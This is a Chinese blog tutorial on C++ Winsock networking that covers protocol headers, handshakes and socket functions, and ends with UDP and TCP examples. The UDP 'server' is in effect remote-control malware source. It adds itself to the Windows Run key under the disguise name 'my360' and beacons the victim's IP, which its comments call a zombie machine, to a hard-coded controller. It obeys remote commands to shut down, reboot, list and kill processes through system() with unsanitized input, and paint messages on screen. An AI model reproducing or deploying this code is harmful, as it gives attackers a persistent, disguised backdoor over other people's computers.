C++网络通信实现

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/zhangquan2015/article/details/81347392

TCP/IP协议

OSI参考模型:应用层-表示层-会话层-传输层-网络层-数据链路层-物理层。

TCP/IP参考模型:传输控制协议/网际协议是互联网上最流行的协议,采用4层的层级结构,每一层都呼叫它的下一层所提供的网络来完成自己的需求。即应用层-传输层-互联网络层-网络接口层。

数据包格式

IP数据包

IP数据包是在IP协议间发送的,主要在以太网与网际协议模块之间传输,提供无连接数据包传输。不保证数据包的发送,但最大限度的发送数据。结构如下:

typedef struct HeadIP{
    unsigned char headerlen:4;//首部长度,4位
    unsigned char version:4;//版本,4位
    unsigned char servertype;//服务类型,8位
    unsigned short totallen;//长度,16位
    unsigned short id;
    //与idoff构成标识符,共占16为,前3位是标识,后13位是片偏移
    unsigned short idoff;
    unsigned char ttl;//生存时间,8位
    unsigned char proto;//协议,占8位
    unsigned short checksum;//检验首部和,16位
    unsigned int sourceIP;//源IP地址,32位
    unsigned int destIP;//目的IP地址,32位
}HeadIP;

TCP数据包

面向连接,全双工,可靠的传输。

typedef struct HeadTCP{
    WORD SourcePort;//16位源端口号
    WORD DePort;//16位目的端口
    DWORD SequenceNo;//32位序号
    DWORD ConfirmNo;//32位确认序号
    BYTE HeadLen;//与Flag为一个组成部分,首部长度,4位,保留6位,6位标识,共16位
    BYTE Flag;
    WORD WndSize;//16位窗口大小
    WORD CheckSum;//16位校验和
    WORD UrgPtr;//16位紧急指针
}HeadTCP;

三次握手连接

第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SENT状态,等待服务器确认;SYN:同步序列编号(Synchronize Sequence Numbers)。

第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器进入SYN_RECV状态;

第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入ESTABLISHED(TCP连接成功)状态,完成三次握手。

完成三次握手,客户端与服务器开始传送数据。

这里写图片描述

四次握手关闭

TCP关闭连接的步骤如下:

第一步,当主机A的应用程序通知TCP数据已经发送完毕时,TCP向主机B发送一个带有FIN附加标记的报文段(FIN表示英文finish)。

第二步,主机B收到这个FIN报文段之后,并不立即用FIN报文段回复主机A,而是先向主机A发送一个确认序号ACK,同时通知自己相应的应用程序:对方要求关闭连接(先发送ACK的目的是为了防止在这段时间内,对方重传FIN报文段)。

第三步,主机B的应用程序告诉TCP:我要彻底的关闭连接,TCP向主机A送一个FIN报文段。

第四步,主机A收到这个FIN报文段后,向主机B发送一个ACK表示连接彻底释放。

这里写图片描述

UDP数据包

UDP数据包是无连接的,一次服务,不提供差错恢复,不提供数据重传。

typedef struct HeadUDP{
    WORD SourcePort;//16位端口号
    WORD DePort;//16位目的端口
    WORD Len;//16位UDP长度
    WORD ChkSum;//16位UDP校验和
}HeadUDP;

ICMP数据包

ICMP协议被称为网际控制报文协议,是IP协议的附属协议,可以将某设备的故障信息发送到其他设备。

typedef struct HeadCMP{
    BYTE Type;//8为类型
    BYTE Code;//8位代码
    WORD ChkSum;//16位校验和
}HeadICMP;

套接字

所谓套接字,实际上是一个指向传输提供者的句柄。

Winsock套接字可以使应用程序适用于不同的网络名和网络地址。

#include"winsock2.h"//引用头文件
#pragma comment(lib,"ws2_32.lib")//链接库文件

初始化套接字:

WSADATA wsd;//定义WSADATA对象
WSAStratup(MAKEWORD(2,2),&wsd);//初始化套接字

常用的套接字函数

  1. WSAStartup函数:初始化ws2_32.dll动态链接库

    int WSAStartup(WORD wVersionRequested,LPWSADATA IpWSAData);

  2. socket函数:创建套接字

    SOCKET socket(int af,int type,int protocol);

  3. bind函数:将套接字绑定到指定的端口和地址

    int bind(SOCKET s,const struct sockaddr FAR* name,int namelen);

  4. listen函数:将套接字设定为监听模式
    int listen(SOCKET s,int backlog);

  5. accept函数:接收连接请求

    SOCKET accept(SOCKET s,struct sockaddr FAR* addr,int FAR* addrlen);

  6. closesocket函数:关闭套接字

    int closesocket(SOCKET s);

  7. connect函数:发送连接请求

    int connect(SOCKET s,const struct sockaddr FAR* name,int namelen);

  8. htons 函数:将16位无符号短整型数据转换为网络排列方式

    u_short htons(u_short hostshort);

  9. htonl函数:将无符号长整型转换为网络排列方式

    u_long htonl(u_long hostlong);

  10. inet_addr函数:将字符串表示的地址转换为32位的无符号长整型数据

    unsigned long inet_addr(const char FAR* cp);

  11. recv函数:接收数据

    int recv(SOCKET s,char FAR* buf,int len,int flags);

  12. send函数:发送数据

    int send(SOCKET s,const char FAR* buf,int len,int flags);

  13. select函数:检查套接字是否处于可读、可写或错误状态

    int select(int nfds,fd_set FAR* readfds,fd_set FAR* writefds,fd_set FAR* exceptfds,const struct timeval FAR* timeout);

  14. WSACleanup函数:释放ws2_32.dll动态链接库分配的资源

    int WSACleanup(void);

  15. WSAAsyncSelect函数:将网络中的某事件关联到窗口的某个消息中

    int WSAAsyncSelect(SOCKET s,HWND hWnd,unsigned int wMsg,long iEvent);

  16. ioctlsocket函数:设置套接字的I/O模式

    int ioctlsocket(SOCKET s,long cmd,u_long FAR* argp);

套接字阻塞模式

依据套接字函数执行方式的不同,可以将套接字分为两类:阻塞和非阻塞。

阻塞:函数调用玩会一直等待,直到I/O操作完成。故一个线程中同时只能进行一项I/O操作。

非阻塞:函数调用会立即返回。

默认情况下,套接字为阻塞套接字。为了将套接字设置为非阻塞,需要使用ioctlsocket函数。

unsigned long nCmd;
SOCKET clientSock = socket(AF_INET,SOCK_STREAM,0);//创建套接字
int nState=ioctlsocket(clientSock,FIONBIO,&nCmd);//设置非阻塞模式
if(nState != 0)
{
    TRACE("设置套接字非阻塞模式失败!");
}

连接过程

面向连接流

服务端:

|- WSAStartup函数初始化
|- 创建Socket
|- 用bind指定对象
|- listen设置监听
|- accept接收请求
|- send发送会话
|- closesocket关闭socket

客户端:

|- WSAStartup函数初始化
|- 创建Socket
|- connect请求连接
|- send发送会话
|- closesocket关闭socket

面向无连接流

服务端:

|- WSAStartup函数初始化
|- 创建Socket
|- 调用recvfrom和sendto进行通信
|- 调用closesocket关闭Socket

客户端:

|- WSAStartup函数初始化
|- 创建Socket
|- 调用recvfrom和sendto进行通信
|- 调用closesocket关闭socket

基于UDP协议的网络通信

UDP链接是面向无连接的,一次服务,不提供差错恢复,不提供数据重传。

SOCK_DGRAM协议族,UDP协议。

服务端实现

服务端启动后会给指定IP地址的客户端发送服务端的IP地址,以便客户端启动后自动连接到服务端。

这里写图片描述

#include<stdio.h>
// 获取进程列表
#include<windows.h>//windows底层函数
#include<Tlhelp32.h>
// 网络库(Linux头文件不同)
#include<winsock.h>
#pragma comment(lib,"ws2_32.lib")
// 取消窗口显示
//#pragma comment(linker,"/subsystem:windows /entry:mainCRTStartup")

// 全局变量
int sock;
bool going=true;

// 分身活动区域
unsigned long WINAPI function(void* lp)
{
    // 发送肉鸡IP地址
    char hostname[255]="";
    // 获取系统主机名
    gethostname(hostname,sizeof(hostname));
    printf("系统主机名:%s\n",hostname);
    // 在数据链路层,主机名与IP地址对应
    hostent *host=gethostbyname(hostname);
    char* ip=inet_ntoa(*(struct in_addr *)*host->h_addr_list);
    //printf("%s\n",ip);
    // 强制转换网络地址为255.255.255.255类型

    // 定义控制方IP地址
    sockaddr_in ctladdr;
    ctladdr.sin_family=AF_INET;
    ctladdr.sin_port=htons(7676);
    ctladdr.sin_addr.S_un.S_addr=inet_addr("169.254.180.48");
    while(going)
    {
        sendto(sock,ip,strlen(ip),0,(sockaddr*)&ctladdr,sizeof(ctladdr));
        Sleep(5000);
        // 5秒
    }
    return 0;
}

int main(void)
{
    // 防止双开 互斥量
    HANDLE hmutex=CreateMutex(0,true,"LF");
    // (默认值,是否上锁,标识)
    if(hmutex!=NULL)// 不为空则创建成功
    {
        if(GetLastError()==ERROR_ALREADY_EXISTS)
        {
            printf("已经打开了\n");
            return 0;
        }
    }

    // 开机自启
    //HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    //HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    HKEY key;// HKEY代表打开的注册表首地址
    long reg=RegOpenKeyEx(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_WRITE,&key);
    if(reg==ERROR_SUCCESS)// 打开成功返回为0
    {
        // 获取路径
        printf("注册表写入成功!\n");
        char path[255]="";
        GetModuleFileName(0,path,254);

        // 增加此运行程序的路径(key,"name",写入0,写入类型)
        // 用RegSetValueEx写在Run目录下
        RegSetValue(key,"my360",REG_SZ,path,strlen(path));
        // 关闭程序
        RegCloseKey(key);
        // Release版本才可以开机自启
    }
    // 1.网络是否存在,初始化网络 调用系统函数
    WSADATA wsaData;
    WSAStartup(0x202,&wsaData);
    // 网络库版本号,最新版本,获取初始化信息

    // 2.购买手机(获取套接字)
    //int sock=socket(AF_INET,SOCK_DGRAM,0);
    // SOCK_DGRAM协议族,UDP协议,默认为0
    // SOCK_STREAM, TCP/IP协议
    sock=socket(AF_INET,SOCK_DGRAM,0);

    // 3.绑定端口号(类似绑定手机卡)
    sockaddr_in addr;// 此电脑的信息(ip,端口号,协议族)
    addr.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
    //inet_addr("192.168.75.1");
    addr.sin_port = htons(7979);// 绑定的端口号
    addr.sin_family=AF_INET;
    bind(sock,(sockaddr*)&addr,sizeof(addr));
    // 4.收到指令,并处理
    char buf[1024]="";// 接收数据1#1等
    char cmd[4]="";// 截取字符串

    // 定义控制方IP地址
    sockaddr_in ctladdr;
    int ilen = sizeof(ctladdr);
    // 创建分身
    CreateThread(0,0,function,0,0,0);

    while(1) //recv(套接字,存储数据区,存储数据长度,默认为0)
    {
        // 收信息recv/recvfrom
        // recvfrom不仅可以收到信息,还可以知道发送端的IP及端口号
        //int num=recv(sock,buf,sizeof(buf),0);
        int num=recvfrom(sock,buf,sizeof(buf),0,(sockaddr*)&ctladdr,&ilen);
        printf("收到控制端消息:%s %d\n",inet_ntoa(ctladdr.sin_addr),ctladdr.sin_port);
        // 截取前三个字符到cmd中
        strncpy(cmd,buf,3);
        buf[num]='\0';
        //printf("%s\n",buf);
        // 指令的识别,处理
        if(strcmp(cmd,"1#1")==0)
        {
            system("shutdown -s -t 1000");// 关机
        }
        else if(strcmp(cmd,"1#2")==0)
        {
            system("shutdown -r -t 1000");// 重启
        }
        else if(strcmp(cmd,"2#1")==0)// 获取进程列表
        {
            // 动态获取进程列表(二维数组)
            // 1.打开获取表格
            HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
            // 2.遍历表格 Process32First(表格);
            PROCESSENTRY32 processMsg;// 结构体(程序名,ID,内存)
            Process32First(handle,&processMsg);
            do
            {
                //printf("%s\n",processMsg.szExeFile);
                sendto(sock,processMsg.szExeFile,strlen(processMsg.szExeFile),0,(sockaddr*)&ctladdr,sizeof(ctladdr));
            }while(Process32Next(handle,&processMsg));//指为空时返回0
        }
        else if(strcmp(cmd,"2#2")==0)//2#2#结束的进程名
        {
            //shell命令
            if(strtok(buf,"#")!=NULL && strtok(NULL,"#")!=NULL)
            {
                char *process=strtok(NULL,"#");
                char opr[100]="";
                // 字符串的拼接
                sprintf(opr,"taskkill /F /IM %s*",process);// 关闭某进程
                system(opr);
                //printf("%s\n",opr);
                //system("taskkill /F /IM FeiQ*");
            }
        }
        else if(strcmp(cmd,"4#1")==0)//弹出提示框(0,"内容","标题",提示框样式)
        {
            // 截取字符串
            // 4#1#内容#标题
            if(strtok(buf,"#")!=NULL && strtok(NULL,"#")!=NULL)//将字符进行截取(原字符,“截取目标字符”)
            {
                char *content=strtok(NULL,"#");
                char *title=strtok(NULL,"#");
                MessageBox(0,content,title,MB_ICONINFORMATION|MB_OK|MB_SYSTEMMODAL);
            }
        }
        else if(strcmp(cmd,"6#1")==0)
        {
            going=false;
        }
        else if(strcmp(cmd,"7#1")==0)// 显示广告
        {
            // 截取字符串
            // 7#1#内容
            if(strtok(buf,"#")!=NULL && strtok(NULL,"#")!=NULL)//将字符进行截取(原字符,“截取目标字符”)
            {
                char *content=strtok(NULL,"#");

                // 1.获取设备上下文接口:打印机,投影仪,屏幕
                HDC hdc=GetDC(0);// NULL默认输出主屏幕

                // 字体背景透明
                SetBkMode(hdc,TRANSPARENT);
                // 颜色
                SetTextColor(hdc,RGB(255,0,0));// 红绿蓝
                // 大小,改变字体,创建字体
                HFONT font=CreateFont(100,50,0,0,
                    FW_BOLD,0,0,0,ANSI_CHARSET,OUT_DEFAULT_PRECIS,
                    CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH|FF_SWISS,"宋体");
                // 替换字体
                SelectObject(hdc,font);

                // 2.绘画字体
                TextOut(hdc,100,100,content,strlen(content));
                // 3.释放上下文
                ReleaseDC(0,hdc);
            }
        }
    }
    // 5.释放网络
    closesocket(sock);
    // 6.清空初始化
    WSACleanup();
    return 0;
}

客户端实现

只要服务端运行,就会给指定的客户端发送服务端IP地址,当客户端收到服务端IP地址后,会自动连接到服务端,并可对服务端进行关机、重启、获取服务端进程列表、结束进程,以及发送远程字幕和弹窗操作。

这里写图片描述

#include<stdio.h>
#include<winsock.h>
#pragma comment(lib,"ws2_32.lib")

int num=0;
char ipBuf[1024]="";

// 为线程指定活动区域
unsigned long WINAPI threadfun(void *sock)
{
    char buf[1024]="";
    while(1)
    {
        //Sleep(5000);
        //无数据则一直等待,中途中断则返回0
        num=recv(*(int*)sock,buf,1023,0);
        buf[num]='\0';
        printf("收到服务器消息:%s\n",buf);
        strcpy(ipBuf,buf);
        /*
        ip地址转存给主函数,
        直接用buf行不通,
        可能一直被读写占用
        */
        if(num<=0)
            break;//接收完成
    }
    return 0;
}

void menu(int sock,sockaddr_in eaddr)
{
    printf("-------------控制系统----------------------\n");
    printf("-------------1.关机------------------------\n");
    printf("-------------2.重启------------------------\n");
    printf("-------------3.进程列表--------------------\n");
    printf("-------------4.结束进程--------------------\n");
    printf("-------------5.远程字幕--------------------\n");
    printf("-------------6.发送弹窗--------------------\n");
    printf("请选择:\n");

    int opt=0;
    scanf("%d",&opt);
    if(opt==1)//关机
    {
        sendto(sock,"1#1",3,0,(sockaddr*)&eaddr,sizeof(eaddr));
    }
    else if(opt==2)//重启
    {
        sendto(sock,"1#2",3,0,(sockaddr*)&eaddr,sizeof(eaddr));
    }
    else if(opt==3)//进程列表
    {
        sendto(sock,"2#1",3,0,(sockaddr*)&eaddr,sizeof(eaddr));
    }
    else if(opt==4)//结束进程
    {
        char process[100]="";
        printf("请输入需要结束的进程名:\n");
        scanf("%s",process);
        //拼接
        char cmd[1000]="";
        sprintf(cmd,"2#2#%s*",process);
        sendto(sock,cmd,strlen(cmd),0,(sockaddr*)&eaddr,sizeof(eaddr));
    }
    else if(opt==5)//投放字幕
    {
        char content[100]="";
        printf("请输入广告内容:");
        scanf("%s",content);
        //格式化字符串
        char cmd[1000]="";
        sprintf(cmd,"7#1#%s",content);
        sendto(sock,cmd,strlen(cmd),0,(sockaddr*)&eaddr,sizeof(eaddr));
    }
    else if(opt==6)//弹窗
    {
        char content1[100]="";
        printf("请输入弹窗内容:");
        scanf("%s",content1);
        char content2[100]="";
        printf("请输入标题:");
        scanf("%s",content2);
        //格式化字符串
        char cmd[1000]="";
        sprintf(cmd,"4#1#%s#%s",content1,content2);
        sendto(sock,cmd,strlen(cmd),0,(sockaddr*)&eaddr,sizeof(eaddr));
        printf("%d,%d\n",sock,sizeof(eaddr));
    }
}


int main(void)
{
    // 1.初始化网络,网络是否存在
    WSADATA wsaData;
    WSAStartup(0x202,&wsaData);

    // 2.购买手机,获取套接字
    int sock=socket(AF_INET,SOCK_DGRAM,0);//AF_INET为英特网
    // 3.绑定手机卡(默认:若绑定,网卡会默认绑定(IP,随机端口号))
    // 不绑定,让系统默认绑定
    // 手动绑定IP地址,端口号
    sockaddr_in myaddr;
    myaddr.sin_family=AF_INET;
    myaddr.sin_addr.S_un.S_addr=htonl(INADDR_ANY);
    myaddr.sin_port=htons(7676);
    bind(sock,(sockaddr*)&myaddr,sizeof(myaddr));//绑定手机

    // 4.发送指令
    char buf[100]="";
    sockaddr_in eaddr;
    eaddr.sin_port=htons(7979);
    eaddr.sin_family=AF_INET;
    //eaddr.sin_addr.S_un.S_addr=inet_addr("10.10.205.162");

    // 创建一个线程接收(0,0,线程活动区域,传递值,0,0)
    HANDLE hThread;
    hThread = CreateThread(0,0,threadfun,&sock,0,0);

    if(hThread==NULL)
    {
        printf("接收线程未运行!\n");
    }
    else
    {
        //Sleep(5000);
        printf("接收线程正在运行!\n");
        while(strlen(ipBuf)==0)
        {
            printf("正在尝试与服务器建立连接...\n");
            Sleep(5000);
        }
        printf("已连接到服务器地址:%s\n",ipBuf);
        eaddr.sin_addr.S_un.S_addr=inet_addr(ipBuf);
        //停止获取IP
        sendto(sock,"6#1",3,0,(sockaddr*)&eaddr,sizeof(eaddr));
        while(1)
        {
            menu(sock,eaddr);//菜单
        }
    }
    // 5.释放网络
    closesocket(sock);
    // 6.清除
    WSACleanup();
    return 0;
}

基于TCP/IP协议的网络通信

TCP/IP协议是面向连接的,安全的。

服务端实现

接收客户端A,则给客户端发送字符B,接收C,则发送字符D。

这里写图片描述

#include<iostream.h>
#include<stdlib.h>
#include"winsock2.h"//引用头文件
#pragma comment(lib,"ws2_32.lib")//引用库文件
//线程实现函数

DWORD WINAPI threadpro(LPVOID pParam)
{
    SOCKET hsock=(SOCKET)pParam;
    char buffer[1024];
    char sendBuffer[1024];
    if(hsock != INVALID_SOCKET)
        cout<<"Start Receive!"<<endl;
    while(1)
    {
        //循环接收发送的内容
        int num = recv(hsock,buffer,1024,0);//阻塞函数,等待接收内容
        if(num>=0)
            cout<<"Receive form clinet!"<<buffer<<endl;
        if(!strcmp(buffer,"A"))
        {
            memset(sendBuffer,0,1024);
            strcpy(sendBuffer,"B");
            int ires = send(hsock,sendBuffer,sizeof(sendBuffer),0);//回送消息
            cout<<"Send to Client: "<<sendBuffer<<endl;
        }
        else if(!strcmp(buffer,"C"))
        {
            memset(sendBuffer,0,1024);
            strcpy(sendBuffer,"D");
            int ires=send(hsock,sendBuffer,sizeof(sendBuffer),0);//回送消息
            cout<<"Send to client: "<<sendBuffer<<endl;
        }
        else if(!strcmp(buffer,"exit"))
        {
            cout<<"Client Close"<<endl;
            cout<<"Server Process Close"<<endl;
            return 0;
        }
        else
        {
            memset(sendBuffer,0,1024);
            strcpy(sendBuffer,"ERR");
            int ires=send(hsock,sendBuffer,sizeof(sendBuffer),0);
            cout<<"Send to client"<<sendBuffer<<endl;
        }

    }
    return 0;
}
//主函数
void main()
{
    WSADATA wsd;//定义WSADATA对象
    WSAStartup(MAKEWORD(2,2),&wsd);
    SOCKET m_SockServer;
    sockaddr_in serveraddr;
    sockaddr_in serveraddrfrom;
    SOCKET m_Server[20];

    serveraddr.sin_family = AF_INET;//设置服务器地址
    serveraddr.sin_port=htons(4600);//设置端口号
    serveraddr.sin_addr.S_un.S_addr=inet_addr("169.254.180.48");
    m_SockServer=socket(AF_INET,SOCK_STREAM,0);
    int i=bind(m_SockServer,(sockaddr*)&serveraddr,sizeof(serveraddr));
    cout<<"bind:"<<i<<endl;

    int iMaxConnect=20;//最大连接数
    int iConnect=0;
    int iLisRet;
    char buf[]="This is Server\0";//向客户端发送的内容
    char WarnBuf[]="It is over Max connect\0";
    int len=sizeof(sockaddr);
    while(1)
    {
        iLisRet=listen(m_SockServer,0);//进行监听
        m_Server[iConnect]=accept(m_SockServer,(sockaddr*)&serveraddrfrom,&len);
        //同意连接
        if(m_Server[iConnect]!=INVALID_SOCKET)
        {
            int ires=send(m_Server[iConnect],buf,sizeof(buf),0);//发送字符过去
            cout<<"发送消息:"<<buf<<endl;
            cout<<"accept: "<<ires<<endl;//显示已经建立连接次数
            iConnect++;
            if(iConnect>iMaxConnect)
            {
                int ires=send(m_Server[iConnect],WarnBuf,sizeof(WarnBuf),0);

            }
            else
            {
                HANDLE m_Handel;//线程句柄
                DWORD nThreadId=0;//线程ID
                m_Handel=(HANDLE)::CreateThread(NULL,0,threadpro,(LPVOID)m_Server[--iConnect],0,&nThreadId);
                //启动线程
                cout<<"启动线程!"<<endl;
            }
        }
    }
    WSACleanup();
}

客户端实现

给服务端发送A,则会接受到字符B,发送C,则收到D。

这里写图片描述

#include<iostream.h>
#include<stdlib.h>
#include<stdio.h>
#include"winsock2.h"
#include<time.h>
#pragma comment(lib,"ws2_32.lib")

void main()
{
    WSADATA wsd;//定义WSADATA对象
    WSAStartup(MAKEWORD(2,2),&wsd);
    SOCKET m_SockClient;
    sockaddr_in clientaddr;

    clientaddr.sin_family=AF_INET;//设置服务器地址
    clientaddr.sin_port=htons(4600);//设置服务器端口号
    clientaddr.sin_addr.S_un.S_addr=inet_addr("169.254.180.48");
    m_SockClient=socket(AF_INET,SOCK_STREAM,0);
    int i=connect(m_SockClient,(sockaddr*)&clientaddr,sizeof(clientaddr));//连接超时
    cout<<"connect:"<<i<<endl;

    char buffer[1024];
    char inBuf[1024];
    int num;
    num=recv(m_SockClient,buffer,1024,0);//阻塞
    if(num>0)
    {
        cout<<"Receive from server:"<<buffer<<endl;//欢迎信息
        while(1)
        {
            num=0;
            cout<<"请输入要发送的消息:"<<endl;
            cin>>inBuf;
            if(!strcmp(inBuf,"exit"))
            {
                send(m_SockClient,inBuf,sizeof(inBuf),0);//发送退出指令
                return;
            }
            send(m_SockClient,inBuf,sizeof(inBuf),0);
            num=recv(m_SockClient,buffer,1024,0);//接收客户端发送过来的数据
            if(num>=0)
                cout<<"接收消息:"<<buffer<<endl;
        }
    }
}

猜你喜欢

转载自blog.csdn.net/zhangquan2015/article/details/81347392